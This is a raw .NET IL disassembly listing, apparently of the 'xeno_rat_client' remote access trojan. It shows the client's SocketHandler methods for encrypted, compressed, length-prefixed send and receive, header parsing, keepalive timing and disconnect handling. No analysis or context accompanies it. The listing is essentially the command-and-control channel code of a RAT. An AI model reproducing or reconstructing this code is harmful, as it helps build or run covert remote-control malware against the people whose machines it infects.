    0000473cbrtrue.s IL_00c5
    0000473epop
    0000473fbr.s IL_00cb
    00004741ldc.i4.0
    00004742call Close
    00004747leave.s IL_00cd
    00004749ldloc.1
    0000474aldfld sock
    0000474fldfld sock
    00004754dup
    00004755brtrue.s IL_00de
    00004757pop
    00004758br.s IL_00e3
    0000475acall Dispose
    0000475fldloc.1
    00004760ldfld subNodes
    00004765call 0x2B00002C
    0000476astloc.2
    0000476bldloc.1
    0000476cldfld subNodes
    00004771callvirt Clear
    00004776ldloc.2
    00004777callvirt GetEnumerator
    0000477cstloc.s 4
    0000477ebr.s IL_0116
    00004780ldloca.s 4
    00004782call get_Current
    00004787dup
    00004788brtrue.s IL_0111
    0000478apop
    0000478bbr.s IL_0116
    0000478dcall Disconnect
    00004792ldloca.s 4
    00004794call MoveNext
    00004799brtrue.s IL_0104
    0000479bleave.s IL_0133
    0000479dldloc.0
    0000479eldc.i4.0
    0000479fbge.s IL_0132
    000047a1ldloca.s 4
    000047a3constrained. valuetype Enumerator<class xeno_rat_client.Node>
    000047a9callvirt Dispose
    000047aeendfinally
    000047afldloc.2
    000047b0callvirt Clear
    000047b5ldloc.1
    000047b6ldfld OnDisconnect
    000047bbbrfalse.s IL_014d
    000047bdldloc.1
    000047beldfld OnDisconnect
    000047c3ldloc.1
    000047c4callvirt Invoke
    000047c9leave.s IL_0168
    000047cbstloc.s 5
    000047cdldarg.0
    000047celdc.i4.s -2
    000047d0stfld <>1__state
    000047d5ldarg.0
    000047d6ldflda <>t__builder
    000047dbldloc.s 5
    000047ddcall SetException
    000047e2leave.s IL_017b
    000047e4ldarg.0
    000047e5ldc.i4.s -2
    000047e7stfld <>1__state
    000047ecldarg.0
    000047edldflda <>t__builder
    000047f2call SetResult
    000047f7ret
    0000467c
    00004850
    00004850<ReceiveAsync>d__13::MoveNext:
    00004850ldarg.0
    00004851ldfld <>1__state
    00004856stloc.0
    00004857ldarg.0
    00004858ldfld <>4__this
    0000485dstloc.1
    0000485eldloc.0
    0000485fbrfalse.s IL_004d
    00004861ldloc.1
    00004862ldfld sock
    00004867callvirt ReceiveAsync
    0000486ccallvirt GetAwaiter
    00004871stloc.s 4
    00004873ldloca.s 4
    00004875call get_IsCompleted
    0000487abrtrue.s IL_006a
    0000487cldarg.0
    0000487dldc.i4.0
    0000487edup
    0000487fstloc.0
    00004880stfld <>1__state
    00004885ldarg.0
    00004886ldloc.s 4
    00004888stfld <>u__1
    0000488dldarg.0
    0000488eldflda <>t__builder
    00004893ldloca.s 4
    00004895ldarg.0
    00004896call 0x2B00002D
    0000489bleave.s IL_00b0
    0000489dldarg.0
    0000489eldfld <>u__1
    000048a3stloc.s 4
    000048a5ldarg.0
    000048a6ldflda <>u__1
    000048abinitobj valuetype System.Runtime.CompilerServices.TaskAwaiter`1<uint8[]>
    000048b1ldarg.0
    000048b2ldc.i4.m1
    000048b3dup
    000048b4stloc.0
    000048b5stfld <>1__state
    000048baldloca.s 4
    000048bccall GetResult
    000048c1stloc.3
    000048c2ldloc.3
    000048c3brtrue.s IL_007f
    000048c5ldloc.1
    000048c6call Disconnect
    000048cbldnull
    000048ccstloc.2
    000048cdleave.s IL_009c
    000048cfldloc.3
    000048d0stloc.2
    000048d1leave.s IL_009c
    000048d3stloc.s 5
    000048d5ldarg.0
    000048d6ldc.i4.s -2
    000048d8stfld <>1__state
    000048ddldarg.0
    000048deldflda <>t__builder
    000048e3ldloc.s 5
    000048e5call SetException
    000048ealeave.s IL_00b0
    000048ecldarg.0
    000048edldc.i4.s -2
    000048efstfld <>1__state
    000048f4ldarg.0
    000048f5ldflda <>t__builder
    000048faldloc.2
    000048fbcall SetResult
    00004900ret
    00004850
    00004920
    00004920<SendAsync>d__14::MoveNext:
    00004920ldarg.0
    00004921ldfld <>1__state
    00004926stloc.0
    00004927ldarg.0
    00004928ldfld <>4__this
    0000492dstloc.1
    0000492eldloc.0
    0000492fbrfalse.s IL_0051
    00004931ldloc.1
    00004932ldfld sock
    00004937ldarg.0
    00004938ldfld data
    0000493dcallvirt SendAsync
    00004942callvirt GetAwaiter
    00004947stloc.3
    00004948ldloca.s 3
    0000494acall get_IsCompleted
    0000494fbrtrue.s IL_006d
    00004951ldarg.0
    00004952ldc.i4.0
    00004953dup
    00004954stloc.0
    00004955stfld <>1__state
    0000495aldarg.0
    0000495bldloc.3
    0000495cstfld <>u__1
    00004961ldarg.0
    00004962ldflda <>t__builder
    00004967ldloca.s 3
    00004969ldarg.0
    0000496acall 0x2B00002E
    0000496fleave.s IL_00b1
    00004971ldarg.0
    00004972ldfld <>u__1
    00004977stloc.3
    00004978ldarg.0
    00004979ldflda <>u__1
    0000497einitobj valuetype System.Runtime.CompilerServices.TaskAwaiter`1<bool>
    00004984ldarg.0
    00004985ldc.i4.m1
    00004986dup
    00004987stloc.0
    00004988stfld <>1__state
    0000498dldloca.s 3
    0000498fcall GetResult
    00004994brtrue.s IL_0080
    00004996ldloc.1
    00004997call Disconnect
    0000499cldc.i4.0
    0000499dstloc.2
    0000499eleave.s IL_009d
    000049a0ldc.i4.1
    000049a1stloc.2
    000049a2leave.s IL_009d
    000049a4stloc.s 4
    000049a6ldarg.0
    000049a7ldc.i4.s -2
    000049a9stfld <>1__state
    000049aeldarg.0
    000049afldflda <>t__builder
    000049b4ldloc.s 4
    000049b6call SetException
    000049bbleave.s IL_00b1
    000049bdldarg.0
    000049beldc.i4.s -2
    000049c0stfld <>1__state
    000049c5ldarg.0
    000049c6ldflda <>t__builder
    000049cbldloc.2
    000049cccall SetResult
    000049d1ret
    00004920
    000049f0
    000049f0xeno_rat_client.SocketHandler::RecvAllAsync_ddos_unsafer:
    000049f0ldloca.s 0
    000049f2call Create
    000049f7stfld <>t__builder
    000049fcldloca.s 0
    000049feldarg.0
    000049ffstfld <>4__this
    00004a04ldloca.s 0
    00004a06ldarg.1
    00004a07stfld size
    00004a0cldloca.s 0
    00004a0eldc.i4.m1
    00004a0fstfld <>1__state
    00004a14ldloca.s 0
    00004a16ldflda <>t__builder
    00004a1bldloca.s 0
    00004a1dcall 0x2B00002F
    00004a22ldloca.s 0
    00004a24ldflda <>t__builder
    00004a29call get_Task
    00004a2eret
    000049f0
    00004a3c
    00004a3cxeno_rat_client.SocketHandler::RecvAllAsync_ddos_safer:
    00004a3cldloca.s 0
    00004a3ecall Create
    00004a43stfld <>t__builder
    00004a48ldloca.s 0
    00004a4aldarg.0
    00004a4bstfld <>4__this
    00004a50ldloca.s 0
    00004a52ldarg.1
    00004a53stfld size
    00004a58ldloca.s 0
    00004a5aldc.i4.m1
    00004a5bstfld <>1__state
    00004a60ldloca.s 0
    00004a62ldflda <>t__builder
    00004a67ldloca.s 0
    00004a69call 0x2B000030
    00004a6eldloca.s 0
    00004a70ldflda <>t__builder
    00004a75call get_Task
    00004a7aret
    00004a3c
    00004a88
    00004a88xeno_rat_client.SocketHandler::Concat:
    00004a88ldarg.0
    00004a89brtrue.s IL_000b
    00004a8bldc.i4.0
    00004a8cnewarr System.Byte
    00004a91starg.s 0
    00004a93newobj .ctor
    00004a98dup
    00004a99ldarg.0
    00004a9acallvirt Add
    00004a9fdup
    00004aa0ldarg.1
    00004aa1callvirt Add
    00004aa6ldsfld <>9__6_0
    00004aabdup
    00004aacbrtrue.s IL_003d
    00004aaepop
    00004aafldsfld <>9
    00004ab4ldftn <Concat>b__6_0
    00004abanewobj .ctor
    00004abfdup
    00004ac0stsfld <>9__6_0
    00004ac5call 0x2B000031
    00004acacall 0x2B000012
    00004acfret
    00004a88
    00004adc
    00004adcxeno_rat_client.SocketHandler::ParseHeader:
    00004adcnewobj .ctor
    00004ae1stloc.0
    00004ae2ldarg.1
    00004ae3ldc.i4.0
    00004ae4ldelem.u1
    00004ae5ldc.i4.1
    00004ae6bne.un.s IL_002a
    00004ae8ldloc.0
    00004ae9ldc.i4.1
    00004aeastfld Compressed
    00004aefldloc.0
    00004af0ldarg.0
    00004af1ldarg.1
    00004af2ldc.i4.1
    00004af3call BytesToInt
    00004af8stfld OriginalFileSize
    00004afdldloc.0
    00004afeldc.i4.5
    00004affstfld T_offset
    00004b04br.s IL_0031
    00004b06ldarg.1
    00004b07ldc.i4.0
    00004b08ldelem.u1
    00004b09brfalse.s IL_0031
    00004b0bldnull
    00004b0cret
    00004b0dldloc.0
    00004b0eret
    00004adc
    00004b1c
    00004b1cxeno_rat_client.SocketHandler::BTruncate:
    00004b1cldarg.1
    00004b1dldlen
    00004b1econv.i4
    00004b1fldarg.2
    00004b20sub
    00004b21newarr System.Byte
    00004b26stloc.0
    00004b27ldarg.1
    00004b28ldarg.2
    00004b29ldloc.0
    00004b2aldc.i4.0
    00004b2bldloc.0
    00004b2cldlen
    00004b2dconv.i4
    00004b2ecall BlockCopy
    00004b33ldloc.0
    00004b34ret
    00004b1c
    00004b44
    00004b44xeno_rat_client.SocketHandler::SendAsync:
    00004b44ldloca.s 0
    00004b46call Create
    00004b4bstfld <>t__builder
    00004b50ldloca.s 0
    00004b52ldarg.0
    00004b53stfld <>4__this
    00004b58ldloca.s 0
    00004b5aldarg.1
    00004b5bstfld data
    00004b60ldloca.s 0
    00004b62ldc.i4.m1
    00004b63stfld <>1__state
    00004b68ldloca.s 0
    00004b6aldflda <>t__builder
    00004b6fldloca.s 0
    00004b71call 0x2B000032
    00004b76ldloca.s 0
    00004b78ldflda <>t__builder
    00004b7dcall get_Task
    00004b82ret
    00004b44
    00004b90
    00004b90xeno_rat_client.SocketHandler::ReceiveAsync:
    00004b90ldloca.s 0
    00004b92call Create
    00004b97stfld <>t__builder
    00004b9cldloca.s 0
    00004b9eldarg.0
    00004b9fstfld <>4__this
    00004ba4ldloca.s 0
    00004ba6ldc.i4.m1
    00004ba7stfld <>1__state
    00004bacldloca.s 0
    00004baeldflda <>t__builder
    00004bb3ldloca.s 0
    00004bb5call 0x2B000033
    00004bbaldloca.s 0
    00004bbcldflda <>t__builder
    00004bc1call get_Task
    00004bc6ret
    00004b90
    00004bd4
    00004bd4xeno_rat_client.SocketHandler::BytesToInt:
    00004bd4ldsfld IsLittleEndian
    00004bd9brfalse.s IL_0025
    00004bdbldarg.1
    00004bdcldarg.2
    00004bddldelem.u1
    00004bdeldarg.1
    00004bdfldarg.2
    00004be0ldc.i4.1
    00004be1add
    00004be2ldelem.u1
    00004be3ldc.i4.8
    00004be4shl
    00004be5or
    00004be6ldarg.1
    00004be7ldarg.2
    00004be8ldc.i4.2
    00004be9add
    00004bealdelem.u1
    00004bebldc.i4.s 16
    00004bedshl
    00004beeor
    00004befldarg.1
    00004bf0ldarg.2
    00004bf1ldc.i4.3
    00004bf2add
    00004bf3ldelem.u1
    00004bf4ldc.i4.s 24
    00004bf6shl
    00004bf7or
    00004bf8ret
    00004bf9ldarg.1
    00004bfaldarg.2
    00004bfbldc.i4.3
    00004bfcadd
    00004bfdldelem.u1
    00004bfeldarg.1
    00004bffldarg.2
    00004c00ldc.i4.2
    00004c01add
    00004c02ldelem.u1
    00004c03ldc.i4.8
    00004c04shl
    00004c05or
    00004c06ldarg.1
    00004c07ldarg.2
    00004c08ldc.i4.1
    00004c09add
    00004c0aldelem.u1
    00004c0bldc.i4.s 16
    00004c0dshl
    00004c0eor
    00004c0fldarg.1
    00004c10ldarg.2
    00004c11ldelem.u1
    00004c12ldc.i4.s 24
    00004c14shl
    00004c15or
    00004c16ret
    00004bd4
    00004c24
    00004c24xeno_rat_client.SocketHandler::IntToBytes:
    00004c24ldc.i4.4
    00004c25newarr System.Byte
    00004c2astloc.0
    00004c2bldsfld IsLittleEndian
    00004c30brfalse.s IL_002c
    00004c32ldloc.0
    00004c33ldc.i4.0
    00004c34ldarg.1
    00004c35conv.u1
    00004c36stelem.i1
    00004c37ldloc.0
    00004c38ldc.i4.1
    00004c39ldarg.1
    00004c3aldc.i4.8
    00004c3bshr
    00004c3cconv.u1
    00004c3dstelem.i1
    00004c3eldloc.0
    00004c3fldc.i4.2
    00004c40ldarg.1
    00004c41ldc.i4.s 16
    00004c43shr
    00004c44conv.u1
    00004c45stelem.i1
    00004c46ldloc.0
    00004c47ldc.i4.3
    00004c48ldarg.1
    00004c49ldc.i4.s 24
    00004c4bshr
    00004c4cconv.u1
    00004c4dstelem.i1
    00004c4ebr.s IL_0048
    00004c50ldloc.0
    00004c51ldc.i4.3
    00004c52ldarg.1
    00004c53conv.u1
    00004c54stelem.i1
    00004c55ldloc.0
    00004c56ldc.i4.2
    00004c57ldarg.1
    00004c58ldc.i4.8
    00004c59shr
    00004c5aconv.u1
    00004c5bstelem.i1
    00004c5cldloc.0
    00004c5dldc.i4.1
    00004c5eldarg.1
    00004c5fldc.i4.s 16
    00004c61shr
    00004c62conv.u1
    00004c63stelem.i1
    00004c64ldloc.0
    00004c65ldc.i4.0
    00004c66ldarg.1
    00004c67ldc.i4.s 24
    00004c69shr
    00004c6aconv.u1
    00004c6bstelem.i1
    00004c6cldloc.0
    00004c6dret
    00004c24
    00004c7c
    00004c7c<ReceiveAsync>d__10::MoveNext:
    00004c7cldarg.0
    00004c7dldfld <>1__state
    00004c82stloc.0
    00004c83ldarg.0
    00004c84ldfld <>4__this
    00004c89stloc.1
    00004c8aldloc.0
    00004c8bldc.i4.1
    00004c8cpop
    00004c8dpop
    00004c8enop
    00004c8fldloc.0
    00004c90brfalse.s IL_0058
    00004c92ldloc.0
    00004c93ldc.i4.1
    00004c94beq IL_00cd
    00004c99ldloc.1
    00004c9aldc.i4.4
    00004c9bcall RecvAllAsync_ddos_unsafer
    00004ca0callvirt GetAwaiter
    00004ca5stloc.s 7
    00004ca7ldloca.s 7
    00004ca9call get_IsCompleted
    00004caebrtrue.s IL_0075
    00004cb0ldarg.0
    00004cb1ldc.i4.0
    00004cb2dup
    00004cb3stloc.0
    00004cb4stfld <>1__state
    00004cb9ldarg.0
    00004cbaldloc.s 7
    00004cbcstfld <>u__1
    00004cc1ldarg.0
    00004cc2ldflda <>t__builder
    00004cc7ldloca.s 7
    00004cc9ldarg.0
    00004ccacall 0x2B000034
    00004ccfleave IL_01f9
    00004cd4ldarg.0
    00004cd5ldfld <>u__1
    00004cdastloc.s 7
    00004cdcldarg.0
    00004cddldflda <>u__1
    00004ce2initobj valuetype System.Runtime.CompilerServices.TaskAwaiter`1<uint8[]>
    00004ce8ldarg.0
    00004ce9ldc.i4.m1
    00004ceadup
    00004cebstloc.0
    00004cecstfld <>1__state
    00004cf1ldloca.s 7
    00004cf3call GetResult
    00004cf8stloc.3
    00004cf9ldloc.3
    00004cfabrtrue.s IL_0087
    00004cfcldnull
    00004cfdstloc.2
    00004cfeleave IL_01e5
    00004d03ldloc.1
    00004d04ldloc.3
    00004d05ldc.i4.0
    00004d06call BytesToInt
    00004d0bstloc.s 4
    00004d0dldloc.1
    00004d0eldloc.s 4
    00004d10call RecvAllAsync_ddos_unsafer
    00004d15callvirt GetAwaiter
    00004d1astloc.s 7
    00004d1cldloca.s 7
    00004d1ecall get_IsCompleted
    00004d23brtrue.s IL_00ea
    00004d25ldarg.0
    00004d26ldc.i4.1
    00004d27dup
    00004d28stloc.0
    00004d29stfld <>1__state
    00004d2eldarg.0
    00004d2fldloc.s 7
    00004d31stfld <>u__1
    00004d36ldarg.0
    00004d37ldflda <>t__builder
    00004d3cldloca.s 7
    00004d3eldarg.0
    00004d3fcall 0x2B000034
    00004d44leave IL_01f9
    00004d49ldarg.0
    00004d4aldfld <>u__1
    00004d4fstloc.s 7
    00004d51ldarg.0
    00004d52ldflda <>u__1
    00004d57initobj valuetype System.Runtime.CompilerServices.TaskAwaiter`1<uint8[]>
    00004d5dldarg.0
    00004d5eldc.i4.m1
    00004d5fdup
    00004d60stloc.0
    00004d61stfld <>1__state
    00004d66ldloca.s 7
    00004d68call GetResult
    00004d6dstloc.s 5
    00004d6fldloc.s 5
    00004d71brtrue.s IL_00fe
    00004d73ldnull
    00004d74stloc.2
    00004d75leave IL_01e5
    00004d7aldloc.s 5
    00004d7cldc.i4.0
    00004d7dldelem.u1
    00004d7eldc.i4.3
    00004d7fbne.un.s IL_016d
    00004d81ldloc.1
    00004d82ldloc.s 5
    00004d84ldc.i4.1
    00004d85call BTruncate
    00004d8astloc.s 5
    00004d8cldloc.s 5
    00004d8eldloc.1
    00004d8fldfld EncryptionKey
    00004d94call Decrypt
    00004d99stloc.s 5
    00004d9bldloc.s 5
    00004d9dldc.i4.0
    00004d9eldelem.u1
    00004d9fldc.i4.2
    00004da0beq IL_001d
    00004da5ldloc.1
    00004da6ldloc.s 5
    00004da8call ParseHeader
    00004dadstloc.s 6
    00004dafldloc.s 6
    00004db1brtrue.s IL_013e
    00004db3ldnull
    00004db4stloc.2
    00004db5leave IL_01e5
    00004dbaldloc.1
    00004dbbldloc.s 5
    00004dbdldloc.s 6
    00004dbfldfld T_offset
    00004dc4call BTruncate
    00004dc9stloc.s 5
    00004dcbldloc.s 6
    00004dcdldfld Compressed
    00004dd2brfalse.s IL_0168
    00004dd4ldloc.s 5
    00004dd6ldloc.s 6
    00004dd8ldfld OriginalFileSize
    00004dddcall Decompress
    00004de2stloc.s 5
    00004de4ldloc.s 5
    00004de6stloc.2
    00004de7leave.s IL_01e5
    00004de9ldloc.s 5
    00004debldc.i4.0
    00004decldelem.u1
    00004dedldc.i4.2
    00004deebeq IL_001d
    00004df3ldloc.1
    00004df4ldloc.s 5
    00004df6call ParseHeader
    00004dfbstloc.s 6
    00004dfdldloc.s 6
    00004dffbrtrue.s IL_0189
    00004e01ldnull
    00004e02stloc.2
    00004e03leave.s IL_01e5
    00004e05ldloc.1
    00004e06ldloc.s 5
    00004e08ldloc.s 6
    00004e0aldfld T_offset
    00004e0fcall BTruncate
    00004e14stloc.s 5
    00004e16ldloc.s 6
    00004e18ldfld Compressed
    00004e1dbrfalse.s IL_01b3
    00004e1fldloc.s 5
    00004e21ldloc.s 6
    00004e23ldfld OriginalFileSize
    00004e28call Decompress
    00004e2dstloc.s 5
    00004e2fldloc.s 5
    00004e31ldloc.1
    00004e32ldfld EncryptionKey
    00004e37call Decrypt
    00004e3cstloc.s 5
    00004e3eldloc.s 5
    00004e40stloc.2
    00004e41leave.s IL_01e5
    00004e43pop
    00004e44ldnull
    00004e45stloc.2
    00004e46leave.s IL_01e5
    00004e48stloc.s 8
    00004e4aldarg.0
    00004e4bldc.i4.s -2
    00004e4dstfld <>1__state
    00004e52ldarg.0
    00004e53ldflda <>t__builder
    00004e58ldloc.s 8
    00004e5acall SetException
    00004e5fleave.s IL_01f9
    00004e61ldarg.0
    00004e62ldc.i4.s -2
    00004e64stfld <>1__state
    00004e69ldarg.0
    00004e6aldflda <>t__builder
    00004e6fldloc.2
    00004e70call SetResult
    00004e75ret
    00004c7c
    00004eb8
    00004eb8<RecvAllAsync_ddos_safer>d__5::MoveNext:
    00004eb8ldarg.0
    00004eb9ldfld <>1__state
    00004ebestloc.0
    00004ebfldarg.0
    00004ec0ldfld <>4__this
    00004ec5stloc.1
    00004ec6ldloc.0
    00004ec7switch (IL_00db, IL_01e0, IL_0248)
    00004ed8ldarg.0
    00004ed9ldarg.0
    00004edaldfld size
    00004edfnewarr System.Byte
    00004ee4stfld <data>5__2
    00004ee9ldarg.0
    00004eealdc.i4.0
    00004eebstfld <total>5__3
    00004ef0ldarg.0
    00004ef1ldarg.0
    00004ef2ldfld size
    00004ef7stfld <dataLeft>5__4
    00004efcldarg.0
    00004efdcall get_Now
    00004f02stfld <startTimestamp>5__5
    00004f07ldarg.0
    00004f08call get_Now
    00004f0dstfld <lastSendTime>5__6
    00004f12br IL_026c
    00004f17ldloc.1
    00004f18ldfld sock
    00004f1dcallvirt get_Connected
    00004f22brtrue.s IL_0073
    00004f24ldnull
    00004f25stloc.2
    00004f26leave IL_02a6
    00004f2bldloc.1
    00004f2cldfld sock
    00004f31callvirt get_Available
    00004f36ldc.i4.0
    00004f37ble IL_0130
    00004f3cldloc.1
    00004f3dldfld sock
    00004f42ldarg.0
    00004f43ldfld <data>5__2
    00004f48ldarg.0
    00004f49ldfld <total>5__3
    00004f4eldarg.0
    00004f4fldfld <dataLeft>5__4
    00004f54newobj .ctor
    00004f59ldc.i4.0
    00004f5acall ReceiveAsync
    00004f5fcallvirt GetAwaiter
    00004f64stloc.s 4
    00004f66ldloca.s 4
    00004f68call get_IsCompleted
    00004f6dbrtrue.s IL_00f8
    00004f6fldarg.0
    00004f70ldc.i4.0
    00004f71dup
    00004f72stloc.0
    00004f73stfld <>1__state
    00004f78ldarg.0
    00004f79ldloc.s 4
    00004f7bstfld <>u__1
    00004f80ldarg.0
    00004f81ldflda <>t__builder
    00004f86ldloca.s 4
    00004f88ldarg.0
    00004f89call 0x2B000035
    00004f8eleave IL_02c1
    00004f93ldarg.0
    00004f94ldfld <>u__1
    00004f99stloc.s 4
    00004f9bldarg.0
    00004f9cldflda <>u__1
    00004fa1initobj valuetype System.Runtime.CompilerServices.TaskAwaiter`1<int32>
    00004fa7ldarg.0
    00004fa8ldc.i4.m1
    00004fa9dup
    00004faastloc.0
    00004fabstfld <>1__state
    00004fb0ldloca.s 4
    00004fb2call GetResult
    00004fb7stloc.3
    00004fb8ldloc.3
    00004fb9brtrue.s IL_010f
    00004fbbldarg.0
    00004fbcldnull
    00004fbdstfld <data>5__2
    00004fc2br IL_027d
    00004fc7ldarg.0
    00004fc8ldarg.0
    00004fc9ldfld <total>5__3
    00004fceldloc.3
    00004fcfadd
    00004fd0stfld <total>5__3
    00004fd5ldarg.0
    00004fd6ldarg.0
    00004fd7ldfld <dataLeft>5__4
    00004fdcldloc.3
    00004fddsub
    00004fdestfld <dataLeft>5__4
    00004fe3br IL_026c
    00004fe8ldloc.1
    00004fe9ldfld socktimeout
    00004feebrfalse.s IL_0166
    00004ff0call get_Now
    00004ff5ldarg.0
    00004ff6ldfld <startTimestamp>5__5
    00004ffbcall op_Subtraction
    00005000stloc.s 6
    00005002ldloca.s 6
    00005004call get_TotalMilliseconds
    00005009ldloc.1
    0000500aldfld socktimeout
    0000500fconv.r8
    00005010blt.un.s IL_0166
    00005012ldarg.0
    00005013ldnull
    00005014stfld <data>5__2
    00005019br IL_027d
    0000501ecall get_Now
    00005023ldarg.0
    00005024ldfld <lastSendTime>5__6
    00005029call op_Subtraction
    0000502estloc.s 5
    00005030ldloca.s 5
    00005032call get_TotalMilliseconds
    00005037ldc.r8 1500
    00005040blt.un IL_0210
    00005045ldloc.1
    00005046ldfld sock
    0000504bldc.i4.5
    0000504cnewarr System.Byte
    00005051dup
    00005052ldc.i4.0
    00005053ldc.i4.1
    00005054stelem.i1
    00005055dup
    00005056ldc.i4.4
    00005057ldc.i4.2
    00005058stelem.i1
    00005059newobj .ctor
    0000505eldc.i4.0
    0000505fcall SendAsync
    00005064callvirt GetAwaiter
    00005069stloc.s 4
    0000506bldloca.s 4
    0000506dcall get_IsCompleted
    00005072brtrue.s IL_01fd
    00005074ldarg.0
    00005075ldc.i4.1
    00005076dup
    00005077stloc.0
    00005078stfld <>1__state
    0000507dldarg.0
    0000507eldloc.s 4
    00005080stfld <>u__1
    00005085ldarg.0
    00005086ldflda <>t__builder
    0000508bldloca.s 4
    0000508dldarg.0
    0000508ecall 0x2B000035
    00005093leave IL_02c1
    00005098ldarg.0
    00005099ldfld <>u__1
    0000509estloc.s 4
    000050a0ldarg.0
    000050a1ldflda <>u__1
    000050a6initobj valuetype System.Runtime.CompilerServices.TaskAwaiter`1<int32>
    000050acldarg.0
    000050adldc.i4.m1
    000050aedup
    000050afstloc.0
    000050b0stfld <>1__state
    000050b5ldloca.s 4
    000050b7call GetResult
    000050bcpop
    000050bdldarg.0
    000050becall get_Now
    000050c3stfld <lastSendTime>5__6
    000050c8ldc.i4.s 10
    000050cacall Delay
    000050cfcallvirt GetAwaiter
    000050d4stloc.s 7
    000050d6ldloca.s 7
    000050d8call get_IsCompleted
    000050ddbrtrue.s IL_0265
    000050dfldarg.0
    000050e0ldc.i4.2
    000050e1dup
    000050e2stloc.0
    000050e3stfld <>1__state
    000050e8ldarg.0
    000050e9ldloc.s 7
    000050ebstfld <>u__2
    000050f0ldarg.0
    000050f1ldflda <>t__builder
    000050f6ldloca.s 7
    000050f8ldarg.0
    000050f9call 0x2B000036
    000050feleave.s IL_02c1
    00005100ldarg.0
    00005101ldfld <>u__2
    00005106stloc.s 7
    00005108ldarg.0
    00005109ldflda <>u__2
    0000510einitobj System.Runtime.CompilerServices.TaskAwaiter
    00005114ldarg.0
    00005115ldc.i4.m1
    00005116dup
    00005117stloc.0
    00005118stfld <>1__state
    0000511dldloca.s 7
    0000511fcall GetResult
    00005124ldarg.0
    00005125ldfld <total>5__3
    0000512aldarg.0
    0000512bldfld size
    00005130blt IL_005f
    00005135ldarg.0
    00005136ldfld <data>5__2
    0000513bstloc.2
    0000513cleave.s IL_02a6
    0000513estloc.s 8
    00005140ldarg.0
    00005141ldc.i4.s -2
    00005143stfld <>1__state
    00005148ldarg.0
    00005149ldnull
    0000514astfld <data>5__2
    0000514fldarg.0
    00005150ldflda <>t__builder
    00005155ldloc.s 8
    00005157call SetException
    0000515cleave.s IL_02c1
    0000515eldarg.0
    0000515fldc.i4.s -2
    00005161stfld <>1__state
    00005166ldarg.0
    00005167ldnull
    00005168stfld <data>5__2
    0000516dldarg.0
    0000516eldflda <>t__builder
    00005173ldloc.2
    00005174call SetResult
    00005179ret
    00004eb8
    000051a4
    000051a4<RecvAllAsync_ddos_unsafer>d__4::MoveNext:
    000051a4ldarg.0
    000051a5ldfld <>1__state
    000051aastloc.0
    000051abldarg.0
    000051acldfld <>4__this
    000051b1stloc.1
    000051b2ldloc.0
    000051b3brfalse IL_00b4
    000051b8ldarg.0
    000051b9ldarg.0
    000051baldfld size
    000051bfnewarr System.Byte
    000051c4stfld <data>5__2
    000051c9ldarg.0
    000051caldc.i4.0
    000051cbstfld <total>5__3
    000051d0ldarg.0
    000051d1ldarg.0
    000051d2ldfld size
    000051d7stfld <dataLeft>5__4
    000051dccall get_Now
    000051e1pop
    000051e2call get_Now
    000051e7pop
    000051e8br IL_0101
    000051edldloc.1
    000051eeldfld sock
    000051f3callvirt get_Connected
    000051f8brtrue.s IL_005d
    000051faldnull
    000051fbstloc.2
    000051fcleave IL_013b
    00005201ldloc.1
    00005202ldfld sock
    00005207ldarg.0
    00005208ldfld <data>5__2
    0000520dldarg.0
    0000520eldfld <total>5__3
    00005213ldarg.0
    00005214ldfld <dataLeft>5__4
    00005219newobj .ctor
    0000521eldc.i4.0
    0000521fcall ReceiveAsync
    00005224callvirt GetAwaiter
    00005229stloc.s 4
    0000522bldloca.s 4
    0000522dcall get_IsCompleted
    00005232brtrue.s IL_00d1
    00005234ldarg.0
    00005235ldc.i4.0
    00005236dup
    00005237stloc.0
    00005238stfld <>1__state
    0000523dldarg.0
    0000523eldloc.s 4
    00005240stfld <>u__1
    00005245ldarg.0
    00005246ldflda <>t__builder
    0000524bldloca.s 4
    0000524dldarg.0
    0000524ecall 0x2B000037
    00005253leave IL_0156
    00005258ldarg.0
    00005259ldfld <>u__1
    0000525estloc.s 4
    00005260ldarg.0
    00005261ldflda <>u__1
    00005266initobj valuetype System.Runtime.CompilerServices.TaskAwaiter`1<int32>
    0000526cldarg.0
    0000526dldc.i4.m1
    0000526edup
    0000526fstloc.0
    00005270stfld <>1__state
    00005275ldloca.s 4
    00005277call GetResult
    0000527cstloc.3
    0000527dldloc.3
    0000527ebrtrue.s IL_00e5
    00005280ldarg.0
    00005281ldnull
    00005282stfld <data>5__2
    00005287br.s IL_0112
    00005289ldarg.0
    0000528aldarg.0
    0000528bldfld <total>5__3
    00005290ldloc.3
    00005291add
    00005292stfld <total>5__3
    00005297ldarg.0
    00005298ldarg.0
    00005299ldfld <dataLeft>5__4
    0000529eldloc.3
    0000529fsub
    000052a0stfld <dataLeft>5__4
    000052a5ldarg.0
    000052a6ldfld <total>5__3
    000052abldarg.0
    000052acldfld size
    000052b1blt IL_0049
    000052b6ldarg.0
    000052b7ldfld <data>5__2
    000052bcstloc.2
    000052bdleave.s IL_013b
    000052bfstloc.s 5
    000052c1ldarg.0
    000052c2ldc.i4.s -2
    000052c4stfld <>1__state
    000052c9ldarg.0
    000052caldnull
    000052cbstfld <data>5__2
    000052d0ldarg.0
    000052d1ldflda <>t__builder
    000052d6ldloc.s 5
    000052d8call SetException
    000052ddleave.s IL_0156
    000052dfldarg.0
    000052e0ldc.i4.s -2
    000052e2stfld <>1__state
    000052e7ldarg.0
    000052e8ldnull
    000052e9stfld <data>5__2
    000052eeldarg.0
    000052efldflda <>t__builder
    000052f4ldloc.2
    000052f5call SetResult
    000052faret
    000051a4
    00005324
    00005324<SendAsync>d__9::MoveNext:
    00005324ldarg.0
    00005325ldfld <>1__state
    0000532astloc.0
    0000532bldarg.0
    0000532cldfld <>4__this
    00005331stloc.1
    00005332ldloc.0
    00005333brfalse.s IL_0029
    00005335ldarg.0
    00005336ldfld data
    0000533bbrtrue.s IL_0029
    0000533dldstr "data"
    00005342ldstr "data can not be null!"
    00005347newobj .ctor
    0000534cthrow
    0000534dnop
    0000534eldloc.0
    0000534fbrfalse IL_0130
    00005354ldarg.0
    00005355ldfld data
    0000535acall Compress
    0000535fstloc.3
    00005360ldc.i4.0
    00005361stloc.s 4
    00005363ldarg.0
    00005364ldfld data
    00005369ldlen
    0000536aconv.i4
    0000536bstloc.s 5
    0000536dldloc.3
    0000536ebrfalse.s IL_005d
    00005370ldloc.3
    00005371ldlen
    00005372conv.i4
    00005373ldloc.s 5
    00005375bge.s IL_005d
    00005377ldarg.0
    00005378ldloc.3
    00005379stfld data
    0000537eldc.i4.1
    0000537fstloc.s 4
    00005381ldc.i4.1
    00005382newarr System.Byte
    00005387dup
    00005388ldc.i4.0
